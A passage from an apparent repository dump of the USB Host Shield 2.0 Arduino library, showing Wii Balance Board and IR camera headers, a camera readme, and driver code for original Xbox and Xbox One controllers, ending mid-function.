Wii Balance Board functions */\n\n        /**\n         * Used to get the weight at the specific position on the Wii Balance Board.\n         * @param  pos ::BalanceBoardEnum to read from.\n         * @return     Returns the weight in kg.\n         */\n        float getWeight(BalanceBoardEnum pos);\n\n        /**\n         * Used to get total weight on the Wii Balance Board.\n         * @return Returns the weight in kg.\n         */\n        float getTotalWeight();\n\n        /**\n         * Used to get the raw reading at the specific position on the Wii Balance Board.\n         * @param  pos ::BalanceBoardEnum to read from.\n         * @return     Returns the raw reading.\n         */\n        uint16_t getWeightRaw(BalanceBoardEnum pos) {\n                return wiiBalanceBoardRaw[pos];\n        };\n        /**@}*/\n\n#ifdef WIICAMERA\n        /** @name Wiimote IR camera functions\n         * You will have to set ::ENABLE_WII_IR_CAMERA in settings.h to 1 in order use the IR camera.\n         */\n        /** Initialises the camera as per the steps from: http://wiibrew.org/wiki/Wiimote#IR_Camera */\n        void IRinitialize();\n\n        /**\n         * IR object 1 x-position read from the Wii IR camera.\n         * @return The x-position of the object in the range 0-1023.\n         */\n        uint16_t getIRx1() {\n                return IR_object_x1;\n        };\n\n        /**\n         * IR object 1 y-position read from the Wii IR camera.\n         * @return The y-position of the object in the range 0-767.\n         */\n        uint16_t getIRy1() {\n                return IR_object_y1;\n        };\n\n        /**\n         * IR object 1 size read from the Wii IR camera.\n         * @return The size of the object in the range 0-15.\n         */\n        uint8_t getIRs1() {\n                return IR_object_s1;\n        };\n\n        /**\n         * IR object 2 x-position read from the Wii IR camera.\n         * @return The x-position of the object in the range 0-1023.\n         */\n        uint16_t getIRx2() {\n                return IR_object_x2;\n        };\n\n        /**\n         * IR object 2 y-position read from the Wii IR camera.\n         * @return The y-position of the object in the range 0-767.\n         */\n        uint16_t getIRy2() {\n                return IR_object_y2;\n        };\n\n        /**\n         * IR object 2 size read from the Wii IR camera.\n         * @return The size of the object in the range 0-15.\n         */\n        uint8_t getIRs2() {\n                return IR_object_s2;\n        };\n\n        /**\n         * IR object 3 x-position read from the Wii IR camera.\n         * @return The x-position of the object in the range 0-1023.\n         */\n        uint16_t getIRx3() {\n                return IR_object_x3;\n        };\n\n        /**\n         * IR object 3 y-position read from the Wii IR camera.\n         * @return The y-position of the object in the range 0-767.\n         */\n        uint16_t getIRy3() {\n                return IR_object_y3;\n        };\n\n        /**\n         * IR object 3 size read from the Wii IR camera.\n         * @return The size of the object in the range 0-15.\n         */\n        uint8_t getIRs3() {\n                return IR_object_s3;\n        };\n\n        /**\n         * IR object 4 x-position read from the Wii IR camera.\n         * @return The x-position of the object in the range 0-1023.\n         */\n        uint16_t getIRx4() {\n                return IR_object_x4;\n        };\n\n        /**\n         * IR object 4 y-position read from the Wii IR camera.\n         * @return The y-position of the object in the range 0-767.\n         */\n        uint16_t getIRy4() {\n                return IR_object_y4;\n        };\n\n        /**\n         * IR object 4 size read from the Wii IR camera.\n         * @return The size of the object in the range 0-15.\n         */\n        uint8_t getIRs4() {\n                return IR_object_s4;\n        };\n\n        /**\n         * Use this to check if the camera is enabled or not.\n         * If not call WII#IRinitialize to initialize the IR camera.\n         * @return     True if it's enabled, false if not.\n         */\n        bool isIRCameraEnabled() {\n                return (wiiState & 0x08);\n        };\n        /**@}*/\n#endif\n\nprotected:\n        /** @name BluetoothService implementation */\n        /**\n         * Used to pass acldata to the services.\n         * @param ACLData Incoming acldata.\n         */\n        void ACLData(uint8_t* ACLData);\n        /** Used to run part of the state machine. */\n        void Run();\n        /** Use this to reset the service. */\n        void Reset();\n        /**\n         * Called when the controller is successfully initialized.\n         * Use attachOnInit(void (*funcOnInit)(void)) to call your own function.\n         * This is useful for instance if you want to set the LEDs in a specific way.\n         */\n        void onInit();\n        /**@}*/\n\nprivate:\n\n        void L2CAP_task(); // L2CAP state machine\n\n        /* Variables filled from HCI event management */\n        bool activeConnection; // Used to indicate if it's already has established a connection\n\n        /* Variables used by high level L2CAP task */\n        uint8_t l2cap_state;\n        uint8_t wii_event_flag; // Used for Wii flags\n\n        uint32_t ButtonState;\n        uint32_t OldButtonState;\n        uint32_t ButtonClickState;\n        uint16_t hatValues[4];\n\n        uint8_t HIDBuffer[3]; // Used to store HID commands\n\n        uint16_t stateCounter;\n        bool unknownExtensionConnected;\n        bool extensionConnected;\n        bool checkBatteryLevel; // Set to true when getBatteryLevel() is called otherwise if should be false\n        bool motionPlusInside; // True if it's a new Wiimote with the Motion Plus extension build into it\n\n        /* L2CAP Channels */\n        uint8_t control_scid[2]; // L2CAP source CID for HID_Control\n        uint8_t control_dcid[2]; // 0x0060\n        uint8_t interrupt_scid[2]; // L2CAP source CID for HID_Interrupt\n        uint8_t interrupt_dcid[2]; // 0x0061\n\n        /* HID Commands */\n        void HID_Command(uint8_t* data, uint8_t nbytes);\n        void setReportMode(bool continuous, uint8_t mode);\n\n        void writeData(uint32_t offset, uint8_t size, uint8_t* data);\n        void initExtension1();\n        void initExtension2();\n\n        void statusRequest(); // Used to update the Wiimote state and battery level\n\n        void readData(uint32_t offset, uint16_t size, bool EEPROM);\n        void readExtensionType();\n        void readCalData();\n        void readWiiBalanceBoardCalibration(); // Used by the library to read the Wii Balance Board calibration values\n\n        void checkMotionPresent(); // Used to see if a Motion Plus is connected to the Wiimote\n        void initMotionPlus();\n        void activateMotionPlus();\n\n        uint16_t wiiBalanceBoardRaw[4]; // Wii Balance Board raw values\n        uint16_t wiiBalanceBoardCal[3][4]; // Wii Balance Board calibration values\n\n        float compPitch; // Fusioned angle using a complimentary filter if the Motion Plus is connected\n        float compRoll; // Fusioned angle using a complimentary filter if the Motion Plus is connected\n\n        bool activateNunchuck;\n        bool motionValuesReset; // This bool is true when the gyro values has been reset\n        uint32_t timer;\n\n        uint8_t wiiState; // Stores the value in l2capinbuf[12] - (0x01: Battery is nearly empty), (0x02:  An Extension Controller is connected), (0x04: Speaker enabled), (0x08: IR enabled), (0x10: LED1, 0x20: LED2, 0x40: LED3, 0x80: LED4)\n        uint8_t batteryLevel;\n\n#ifdef WIICAMERA\n        /* Private function and variables for the readings from the IR Camera */\n        void enableIRCamera1(); // Sets bit 2 of output report 13\n        void enableIRCamera2(); // Sets bit 2 of output report 1A\n        void writeSensitivityBlock1();\n        void writeSensitivityBlock2();\n        void write0x08Value();\n        void setWiiModeNumber(uint8_t mode_number);\n\n        uint16_t IR_object_x1; // IR x position 10 bits\n        uint16_t IR_object_y1; // IR y position 10 bits\n        uint8_t IR_object_s1; // IR size value\n        uint16_t IR_object_x2;\n        uint16_t IR_object_y2;\n        uint8_t IR_object_s2;\n        uint16_t IR_object_x3; // IR x position 10 bits\n        uint16_t IR_object_y3; // IR y position 10 bits\n        uint8_t IR_object_s3; // IR size value\n        uint16_t IR_object_x4;\n        uint16_t IR_object_y4;\n        uint8_t IR_object_s4;\n#endif\n};\n#endif\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/WiiCameraReadme.md",
    "content": "Please see <http://wiibrew.org/wiki/Wiimote#IR_Camera> for the complete capabilities of the Wii camera. The IR camera code was written based on the above website and with support from Kristian Lauszus.\n\nThis library is large, if you run into memory problems when uploading to the Arduino, disable serial debugging.\n\nTo enable the IR camera code, simply set ```ENABLE_WII_IR_CAMERA``` to 1 in [settings.h](settings.h).\n\nThis library implements the following settings:\n\n* Report sensitivity mode: 00 00 00 00 00 00 90 00 41\t 40 00\t Suggested by inio (high sensitivity)\n* Data Format: Extended mode (0x03).  Full mode is not working yet. The output reports 0x3e and 0x3f need tampering with\n\t* In this mode the camera outputs x and y coordinates and a size dimension for the 4 brightest points.\n\nAgain, read through <http://wiibrew.org/wiki/Wiimote#IR_Camera> to get an understanding of the camera and its settings.\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/XBOXOLD.cpp",
    "content": "/* Copyright (C) 2013 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n */\n\n#include \"XBOXOLD.h\"\n// To enable serial debugging see \"settings.h\"\n//#define EXTRADEBUG // Uncomment to get even more debugging data\n//#define PRINTREPORT // Uncomment to print the report send by the Xbox controller\n\n/** Buttons on the controllers */\nconst uint8_t XBOXOLD_BUTTONS[] PROGMEM = {\n        0x01, // UP\n        0x08, // RIGHT\n        0x02, // DOWN\n        0x04, // LEFT\n\n        0x20, // BACK\n        0x10, // START\n        0x40, // L3\n        0x80, // R3\n\n        // A, B, X, Y, BLACK, WHITE, L1, and R1 are analog buttons\n        4, // BLACK\n        5, // WHTIE\n        6, // L1\n        7, // R1\n\n        1, // B\n        0, // A\n        2, // X\n        3, // Y\n};\n\nXBOXOLD::XBOXOLD(USB *p) :\npUsb(p), // pointer to USB class instance - mandatory\nbAddress(0), // device address - mandatory\nbPollEnable(false) { // don't start polling before dongle is connected\n        for(uint8_t i = 0; i < XBOX_MAX_ENDPOINTS; i++) {\n                epInfo[i].epAddr = 0;\n                epInfo[i].maxPktSize = (i) ? 0 : 8;\n                epInfo[i].bmSndToggle = 0;\n                epInfo[i].bmRcvToggle = 0;\n                epInfo[i].bmNakPower = (i) ? USB_NAK_NOWAIT : USB_NAK_MAX_POWER;\n        }\n\n        if(pUsb) // register in USB subsystem\n                pUsb->RegisterDeviceClass(this); //set devConfig[] entry\n}\n\nuint8_t XBOXOLD::Init(uint8_t parent, uint8_t port, bool lowspeed) {\n        uint8_t buf[sizeof (USB_DEVICE_DESCRIPTOR)];\n        USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast<USB_DEVICE_DESCRIPTOR*>(buf);\n        uint8_t rcode;\n        UsbDevice *p = NULL;\n        EpInfo *oldep_ptr = NULL;\n        uint16_t PID;\n        uint16_t VID;\n\n        // get memory address of USB device address pool\n        AddressPool &addrPool = pUsb->GetAddressPool();\n#ifdef EXTRADEBUG\n        Notify(PSTR(\"\\r\\nXBOXUSB Init\"), 0x80);\n#endif\n        // check if address has already been assigned to an instance\n        if(bAddress) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nAddress in use\"), 0x80);\n#endif\n                return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE;\n        }\n\n        // Get pointer to pseudo device with address 0 assigned\n        p = addrPool.GetUsbDevicePtr(0);\n\n        if(!p) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nAddress not found\"), 0x80);\n#endif\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n        }\n\n        if(!p->epinfo) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nepinfo is null\"), 0x80);\n#endif\n                return USB_ERROR_EPINFO_IS_NULL;\n        }\n\n        // Save old pointer to EP_RECORD of address 0\n        oldep_ptr = p->epinfo;\n\n        // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence\n        p->epinfo = epInfo;\n\n        p->lowspeed = lowspeed;\n\n        // Get device descriptor\n        rcode = pUsb->getDevDescr(0, 0, sizeof (USB_DEVICE_DESCRIPTOR), (uint8_t*)buf); // Get device descriptor - addr, ep, nbytes, data\n        // Restore p->epinfo\n        p->epinfo = oldep_ptr;\n\n        if(rcode)\n                goto FailGetDevDescr;\n\n        VID = udd->idVendor;\n        PID = udd->idProduct;\n\n        if((VID != XBOX_VID && VID != MADCATZ_VID && VID != JOYTECH_VID) || (PID != XBOX_OLD_PID1 && PID != XBOX_OLD_PID2 && PID != XBOX_OLD_PID3 && PID != XBOX_OLD_PID4)) // Check if VID and PID match\n                goto FailUnknownDevice;\n\n        // Allocate new address according to device class\n        bAddress = addrPool.AllocAddress(parent, false, port);\n\n        if(!bAddress)\n                return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL;\n\n        // Extract Max Packet Size from device descriptor\n        epInfo[0].maxPktSize = udd->bMaxPacketSize0;\n\n        // Assign new address to the device\n        rcode = pUsb->setAddr(0, 0, bAddress);\n        if(rcode) {\n                p->lowspeed = false;\n                addrPool.FreeAddress(bAddress);\n                bAddress = 0;\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nsetAddr: \"), 0x80);\n                D_PrintHex<uint8_t > (rcode, 0x80);\n#endif\n                return rcode;\n        }\n#ifdef EXTRADEBUG\n        Notify(PSTR(\"\\r\\nAddr: \"), 0x80);\n        D_PrintHex<uint8_t > (bAddress, 0x80);\n#endif\n        //delay(300); // Spec says you should wait at least 200ms\n\n        p->lowspeed = false;\n\n        //get pointer to assigned address record\n        p = addrPool.GetUsbDevicePtr(bAddress);\n        if(!p)\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n\n        p->lowspeed = lowspeed;\n\n        // Assign epInfo to epinfo pointer - only EP0 is known\n        rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo);\n        if(rcode)\n                goto FailSetDevTblEntry;\n\n        /* The application will work in reduced host mode, so we can save program and data\n           memory space. After verifying the VID we will use known values for the\n           configuration values for device, interface, endpoints and HID for the XBOX controllers */\n\n        /* Initialize data structures for endpoints of device */\n        epInfo[ XBOX_INPUT_PIPE ].epAddr = 0x01; // XBOX report endpoint\n        epInfo[ XBOX_INPUT_PIPE ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT;\n        epInfo[ XBOX_INPUT_PIPE ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints\n        epInfo[ XBOX_INPUT_PIPE ].maxPktSize = EP_MAXPKTSIZE;\n        epInfo[ XBOX_INPUT_PIPE ].bmSndToggle = 0;\n        epInfo[ XBOX_INPUT_PIPE ].bmRcvToggle = 0;\n        epInfo[ XBOX_OUTPUT_PIPE ].epAddr = 0x02; // XBOX output endpoint\n        epInfo[ XBOX_OUTPUT_PIPE ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT;\n        epInfo[ XBOX_OUTPUT_PIPE ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints\n        epInfo[ XBOX_OUTPUT_PIPE ].maxPktSize = EP_MAXPKTSIZE;\n        epInfo[ XBOX_OUTPUT_PIPE ].bmSndToggle = 0;\n        epInfo[ XBOX_OUTPUT_PIPE ].bmRcvToggle = 0;\n\n        rcode = pUsb->setEpInfoEntry(bAddress, 3, epInfo);\n        if(rcode)\n                goto FailSetDevTblEntry;\n\n        delay(200); // Give time for address change\n\n        rcode = pUsb->setConf(bAddress, epInfo[ XBOX_CONTROL_PIPE ].epAddr, 1);\n        if(rcode)\n                goto FailSetConfDescr;\n\n#ifdef DEBUG_USB_HOST\n        Notify(PSTR(\"\\r\\nXbox Controller Connected\\r\\n\"), 0x80);\n#endif\n        if(pFuncOnInit)\n                pFuncOnInit(); // Call the user function\n        XboxConnected = true;\n        bPollEnable = true;\n        return 0; // Successful configuration\n\n        /* Diagnostic messages */\nFailGetDevDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailGetDevDescr();\n        goto Fail;\n#endif\n\nFailSetDevTblEntry:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetDevTblEntry();\n        goto Fail;\n#endif\n\nFailSetConfDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetConfDescr();\n#endif\n        goto Fail;\n\nFailUnknownDevice:\n#ifdef DEBUG_USB_HOST\n        NotifyFailUnknownDevice(VID, PID);\n#endif\n        rcode = USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED;\n\nFail:\n#ifdef DEBUG_USB_HOST\n        Notify(PSTR(\"\\r\\nXbox Init Failed, error code: \"), 0x80);\n        NotifyFail(rcode);\n#endif\n        Release();\n        return rcode;\n}\n\n/* Performs a cleanup after failed Init() attempt */\nuint8_t XBOXOLD::Release() {\n        XboxConnected = false;\n        pUsb->GetAddressPool().FreeAddress(bAddress);\n        bAddress = 0;\n        bPollEnable = false;\n        return 0;\n}\n\nuint8_t XBOXOLD::Poll() {\n        if(!bPollEnable)\n                return 0;\n        uint16_t BUFFER_SIZE = EP_MAXPKTSIZE;\n        pUsb->inTransfer(bAddress, epInfo[ XBOX_INPUT_PIPE ].epAddr, &BUFFER_SIZE, readBuf); // input on endpoint 1\n        readReport();\n#ifdef PRINTREPORT\n        printReport(BUFFER_SIZE); // Uncomment \"#define PRINTREPORT\" to print the report send by the Xbox controller\n#endif\n        return 0;\n}\n\nvoid XBOXOLD::readReport() {\n        ButtonState = readBuf[2];\n\n        for(uint8_t i = 0; i < sizeof (buttonValues); i++)\n                buttonValues[i] = readBuf[i + 4]; // A, B, X, Y, BLACK, WHITE, L1, and R1\n\n        hatValue[LeftHatX] = (int16_t)(((uint16_t)readBuf[12] << 8) | readBuf[13]);\n        hatValue[LeftHatY] = (int16_t)(((uint16_t)readBuf[14] << 8) | readBuf[15]);\n        hatValue[RightHatX] = (int16_t)(((uint16_t)readBuf[16] << 8) | readBuf[17]);\n        hatValue[RightHatY] = (int16_t)(((uint16_t)readBuf[18] << 8) | readBuf[19]);\n\n        //Notify(PSTR(\"\\r\\nButtonState\"), 0x80);\n        //PrintHex<uint8_t>(ButtonState, 0x80);\n\n        if(ButtonState != OldButtonState || memcmp(buttonValues, oldButtonValues, sizeof (buttonValues)) != 0) {\n                ButtonClickState = ButtonState & ~OldButtonState; // Update click state variable\n                OldButtonState = ButtonState;\n\n                for(uint8_t i = 0; i < sizeof (buttonValues); i++) {\n                        if(oldButtonValues[i] == 0 && buttonValues[i] != 0)\n                                buttonClicked[i] = true; // Update A, B, X, Y, BLACK, WHITE, L1, and R1 click state\n                        oldButtonValues[i] = buttonValues[i];\n                }\n        }\n}\n\nvoid XBOXOLD::printReport(uint16_t length __attribute__((unused))) { //Uncomment \"#define PRINTREPORT\" to print the report send by the Xbox controller\n#ifdef PRINTREPORT\n        if(readBuf == NULL)\n                return;\n        for(uint8_t i = 0; i < length; i++) {\n                D_PrintHex<uint8_t > (readBuf[i], 0x80);\n                Notify(PSTR(\" \"), 0x80);\n        }\n        Notify(PSTR(\"\\r\\n\"), 0x80);\n#endif\n}\n\nuint8_t XBOXOLD::getButtonPress(ButtonEnum b) {\n        uint8_t button = pgm_read_byte(&XBOXOLD_BUTTONS[(uint8_t)b]);\n        if(b == A || b == B || b == X || b == Y || b == BLACK || b == WHITE || b == L1 || b == R1) // A, B, X, Y, BLACK, WHITE, L1, and R1 are analog buttons\n                return buttonValues[button]; // Analog buttons\n        return (ButtonState & button); // Digital buttons\n}\n\nbool XBOXOLD::getButtonClick(ButtonEnum b) {\n        uint8_t button = pgm_read_byte(&XBOXOLD_BUTTONS[(uint8_t)b]);\n        if(b == A || b == B || b == X || b == Y || b == BLACK || b == WHITE || b == L1 || b == R1) { // A, B, X, Y, BLACK, WHITE, L1, and R1 are analog buttons\n                if(buttonClicked[button]) {\n                        buttonClicked[button] = false;\n                        return true;\n                }\n                return false;\n        }\n\n        bool click = (ButtonClickState & button);\n        ButtonClickState &= ~button; // clear \"click\" event\n        return click;\n}\n\nint16_t XBOXOLD::getAnalogHat(AnalogHatEnum a) {\n        return hatValue[a];\n}\n\n/* Xbox Controller commands */\nvoid XBOXOLD::XboxCommand(uint8_t* data, uint16_t nbytes) {\n        //bmRequest = Host to device (0x00) | Class (0x20) | Interface (0x01) = 0x21, bRequest = Set Report (0x09), Report ID (0x00), Report Type (Output 0x02), interface (0x00), datalength, datalength, data)\n        pUsb->ctrlReq(bAddress, epInfo[XBOX_CONTROL_PIPE].epAddr, bmREQ_HID_OUT, HID_REQUEST_SET_REPORT, 0x00, 0x02, 0x00, nbytes, nbytes, data, NULL);\n}\n\nvoid XBOXOLD::setRumbleOn(uint8_t lValue, uint8_t rValue) {\n        uint8_t writeBuf[6];\n\n        writeBuf[0] = 0x00;\n        writeBuf[1] = 0x06;\n        writeBuf[2] = 0x00;\n        writeBuf[3] = rValue; // small weight\n        writeBuf[4] = 0x00;\n        writeBuf[5] = lValue; // big weight\n\n        XboxCommand(writeBuf, 6);\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/XBOXOLD.h",
    "content": "/* Copyright (C) 2013 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n */\n\n#ifndef _xboxold_h_\n#define _xboxold_h_\n\n#include \"Usb.h\"\n#include \"usbhid.h\"\n#include \"controllerEnums.h\"\n\n/* Data Xbox taken from descriptors */\n#define EP_MAXPKTSIZE       32 // Max size for data via USB\n\n/* Names we give to the 3 Xbox pipes */\n#define XBOX_CONTROL_PIPE    0\n#define XBOX_INPUT_PIPE      1\n#define XBOX_OUTPUT_PIPE     2\n\n// PID and VID of the different devices\n#define XBOX_VID                                0x045E // Microsoft Corporation\n#define MADCATZ_VID                             0x1BAD // For unofficial Mad Catz controllers\n#define JOYTECH_VID                             0x162E // For unofficial Joytech controllers\n\n#define XBOX_OLD_PID1                           0x0202 // Original Microsoft Xbox controller (US)\n#define XBOX_OLD_PID2                           0x0285 // Original Microsoft Xbox controller (Japan)\n#define XBOX_OLD_PID3                           0x0287 // Microsoft Microsoft Xbox Controller S\n#define XBOX_OLD_PID4                           0x0289 // Smaller Microsoft Xbox controller (US)\n\n#define XBOX_MAX_ENDPOINTS   3\n\n/** This class implements support for a the original Xbox controller via USB. */\nclass XBOXOLD : public USBDeviceConfig {\npublic:\n        /**\n         * Constructor for the XBOXOLD class.\n         * @param  pUsb   Pointer to USB class instance.\n         */\n        XBOXOLD(USB *pUsb);\n\n        /** @name USBDeviceConfig implementation */\n        /**\n         * Initialize the Xbox Controller.\n         * @param  parent   Hub number.\n         * @param  port     Port number on the hub.\n         * @param  lowspeed Speed of the device.\n         * @return          0 on success.\n         */\n        uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed);\n        /**\n         * Release the USB device.\n         * @return 0 on success.\n         */\n        uint8_t Release();\n        /**\n         * Poll the USB Input endpoins and run the state machines.\n         * @return 0 on success.\n         */\n        uint8_t Poll();\n\n        /**\n         * Get the device address.\n         * @return The device address.\n         */\n        virtual uint8_t GetAddress() {\n                return bAddress;\n        };\n\n        /**\n         * Used to check if the controller has been initialized.\n         * @return True if it's ready.\n         */\n        virtual bool isReady() {\n                return bPollEnable;\n        };\n\n        /**\n         * Used by the USB core to check what this driver support.\n         * @param  vid The device's VID.\n         * @param  pid The device's PID.\n         * @return     Returns true if the device's VID and PID matches this driver.\n         */\n        virtual bool VIDPIDOK(uint16_t vid, uint16_t pid) {\n                return ((vid == XBOX_VID || vid == MADCATZ_VID || vid == JOYTECH_VID) && (pid == XBOX_OLD_PID1 || pid == XBOX_OLD_PID2 || pid == XBOX_OLD_PID3 || pid == XBOX_OLD_PID4));\n        };\n        /**@}*/\n\n        /** @name Xbox Controller functions */\n        /**\n         * getButtonPress(ButtonEnum b) will return true as long as the button is held down.\n         *\n         * While getButtonClick(ButtonEnum b) will only return it once.\n         *\n         * So you instance if you need to increase a variable once you would use getButtonClick(ButtonEnum b),\n         * but if you need to drive a robot forward you would use getButtonPress(ButtonEnum b).\n         * @param  b          ::ButtonEnum to read.\n         * @return            getButtonClick(ButtonEnum b) will return a bool, while getButtonPress(ButtonEnum b) will return a byte if reading ::L2 or ::R2.\n         */\n        uint8_t getButtonPress(ButtonEnum b);\n        bool getButtonClick(ButtonEnum b);\n        /**@}*/\n\n        /** @name Xbox Controller functions */\n        /**\n         * Return the analog value from the joysticks on the controller.\n         * @param  a          Either ::LeftHatX, ::LeftHatY, ::RightHatX or ::RightHatY.\n         * @return            Returns a signed 16-bit integer.\n         */\n        int16_t getAnalogHat(AnalogHatEnum a);\n\n        /** Turn rumble off the controller. */\n        void setRumbleOff() {\n                setRumbleOn(0, 0);\n        };\n        /**\n         * Turn rumble on.\n         * @param lValue     Left motor (big weight) inside the controller.\n         * @param rValue     Right motor (small weight) inside the controller.\n         */\n        void setRumbleOn(uint8_t lValue, uint8_t rValue);\n\n        /**\n         * Used to call your own function when the controller is successfully initialized.\n         * @param funcOnInit Function to call.\n         */\n        void attachOnInit(void (*funcOnInit)(void)) {\n                pFuncOnInit = funcOnInit;\n        };\n        /**@}*/\n\n        /** True if a Xbox controller is connected. */\n        bool XboxConnected;\n\nprotected:\n        /** Pointer to USB class instance. */\n        USB *pUsb;\n        /** Device address. */\n        uint8_t bAddress;\n        /** Endpoint info structure. */\n        EpInfo epInfo[XBOX_MAX_ENDPOINTS];\n\nprivate:\n        /**\n         * Called when the controller is successfully initialized.\n         * Use attachOnInit(void (*funcOnInit)(void)) to call your own function.\n         * This is useful for instance if you want to set the LEDs in a specific way.\n         */\n        void (*pFuncOnInit)(void); // Pointer to function called in onInit()\n\n        bool bPollEnable;\n\n        /* Variables to store the digital buttons */\n        uint8_t ButtonState;\n        uint8_t OldButtonState;\n        uint8_t ButtonClickState;\n\n        /* Variables to store the analog buttons */\n        uint8_t buttonValues[8]; // A, B, X, Y, BLACK, WHITE, L1, and R1\n        uint8_t oldButtonValues[8];\n        bool buttonClicked[8];\n\n        int16_t hatValue[4]; // Joystick values\n\n        uint8_t readBuf[EP_MAXPKTSIZE]; // General purpose buffer for input data\n\n        void readReport(); // Read incoming data\n        void printReport(uint16_t length); // Print incoming date\n\n        /* Private commands */\n        void XboxCommand(uint8_t* data, uint16_t nbytes);\n};\n#endif\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/XBOXONE.cpp",
    "content": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n   Copyright (C) 2015 guruthree\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n\n guruthree\n Web      :  https://github.com/guruthree/\n */\n\n#include \"XBOXONE.h\"\n// To enable serial debugging see \"settings.h\"\n//#define EXTRADEBUG // Uncomment to get even more debugging data\n//#define PRINTREPORT // Uncomment to print the report send by the Xbox ONE Controller\n\nXBOXONE::XBOXONE(USB *p) :\npUsb(p), // pointer to USB class instance - mandatory\nbAddress(0), // device address - mandatory\nbNumEP(1), // If config descriptor needs to be parsed\nqNextPollTime(0), // Reset NextPollTime\npollInterval(0),\nbPollEnable(false) { // don't start polling before dongle is connected\n        for(uint8_t i = 0; i < XBOX_ONE_MAX_ENDPOINTS; i++) {\n                epInfo[i].epAddr = 0;\n                epInfo[i].maxPktSize = (i) ? 0 : 8;\n                epInfo[i].bmSndToggle = 0;\n                epInfo[i].bmRcvToggle = 0;\n                epInfo[i].bmNakPower = (i) ? USB_NAK_NOWAIT : USB_NAK_MAX_POWER;\n        }\n\n        if(pUsb) // register in USB subsystem\n                pUsb->RegisterDeviceClass(this); //set devConfig[] entry\n}\n\nuint8_t XBOXONE::Init(uint8_t parent, uint8_t port, bool lowspeed) {\n        uint8_t buf[sizeof (USB_DEVICE_DESCRIPTOR)];\n        USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast<USB_DEVICE_DESCRIPTOR*>(buf);\n        uint8_t rcode;\n        UsbDevice *p = NULL;\n        EpInfo *oldep_ptr = NULL;\n        uint16_t PID, VID;\n        uint8_t num_of_conf; // Number of configurations\n\n        // get memory address of USB device address pool\n        AddressPool &addrPool = pUsb->GetAddressPool();\n#ifdef EXTRADEBUG\n        Notify(PSTR(\"\\r\\nXBOXONE Init\"), 0x80);\n#endif\n        // check if address has already been assigned to an instance\n        if(bAddress) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nAddress in use\"), 0x80);\n#endif\n                return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE;\n        }\n\n        // Get pointer to pseudo device with address 0 assigned\n        p = addrPool.GetUsbDevicePtr(0);\n\n        if(!p) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nAddress not found\"), 0x80);\n#endif\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n        }\n\n        if(!p->epinfo) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nepinfo is null\"), 0x80);\n#endif\n                return USB_ERROR_EPINFO_IS_NULL;\n        }\n\n        // Save old pointer to EP_RECORD of address 0\n        oldep_ptr = p->epinfo;\n\n        // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence\n        p->epinfo = epInfo;\n\n        p->lowspeed = lowspeed;\n\n        // Get device descriptor\n        rcode = pUsb->getDevDescr(0, 0, sizeof (USB_DEVICE_DESCRIPTOR), (uint8_t*)buf); // Get device descriptor - addr, ep, nbytes, data\n        // Restore p->epinfo\n        p->epinfo = oldep_ptr;\n\n        if(rcode)\n                goto FailGetDevDescr;\n\n        VID = udd->idVendor;\n        PID = udd->idProduct;\n\n        if(!VIDPIDOK(VID, PID)) // Check VID\n                goto FailUnknownDevice;\n\n        // Allocate new address according to device class\n        bAddress = addrPool.AllocAddress(parent, false, port);\n\n        if(!bAddress)\n                return 